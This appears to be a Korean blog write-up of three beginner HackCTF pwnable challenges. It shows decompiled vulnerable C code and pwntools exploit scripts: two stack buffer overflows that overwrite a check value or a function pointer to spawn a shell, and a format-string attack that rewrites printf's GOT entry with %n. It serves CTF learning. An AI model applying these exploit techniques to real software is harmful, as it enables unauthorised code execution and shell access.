728x90

1. Basic_BOF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != 3735928559 )
    puts("\nYou are on the right way!");
  if ( v5 == 3735928559 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

변수 s와 v5 사이의 거리가 40인데 45를 받고 있고 마침 충족시켜야하는 데이터 크기도 5바이트라서 단순하게 풀린다.

from pwn import *
p = process("./bof_basic")
payload = "a"*40 + p32(3735928559)
p.sendline(payload)
p.interactive()

 

2. Basic_BOF 2

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

그냥 ret를 덮으려고 하니 거리는 136인데 input을 133개를 받아 불가능하다. 따라서 v5변수를 다른 주소로 덮었다.

(shell 주소가 주어짐)

from pwn import *
p=process("./bof_basic2")
elf=ELF("./bof_basic2")
payload = "a"*128 + p32(elf.symbols['shell'])
p.sendline(payload)
p.interactive()

3. Basic_fsb

int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]

  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}

첫 입력 다음 4바이트에서 첫 입력값을 가지고 있으므로 printf의 got를 flag함수의 주소로 바꿔준다.

printf got + %add(flag)x + %n

from pwn import *
p=process("./basic_fsb")
elf=ELF("./basic_fsb")
payload =  p32(elf.got['printf']) + "%134514096x" + "%n"
p.sendline(payload)
p.interactive()

 

728x90

'pwnable > HackCTF' 카테고리의 다른 글

Rate 150 (4문항)  (2) 2021.03.15

+ Recent posts